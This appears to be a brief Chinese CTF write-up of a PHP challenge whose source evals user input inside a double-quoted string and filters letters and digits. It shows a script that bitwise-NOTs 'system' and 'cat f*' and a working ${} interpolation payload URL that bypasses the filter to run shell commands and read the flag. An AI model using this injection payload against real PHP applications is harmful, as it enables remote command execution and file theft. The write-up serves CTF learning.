题目源码:

  1. <?php
  2. if(!isset($_GET['str'])){
  3. show_source(__FILE__);
  4. die();
  5. }
  6. #GOAL: gather some phpinfo();
  7. $str=@(string)$_GET['str'];
  8. include "check.php";
  9. @eval('$str="'.addslashes($str).'";');
  10. //hint:flag in flag.php

check.php经过测试后,感觉是过滤了A-Za-z0-9的字符,特殊字符都没有被过滤
之前看过一篇文章,无字母getshell,但是比赛时只想到了${},没做出来。。。
payload:

  1. <?php
  2. echo urlencode(~'system');
  3. echo "\n";
  4. echo urlencode(~'cat f*');
  5. ?>

得到两个命令的url编码后,利用${}执行即可

  1. url?str=${((~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5))}

参考

http://www.xl-bit.cn/index.php/archives/532/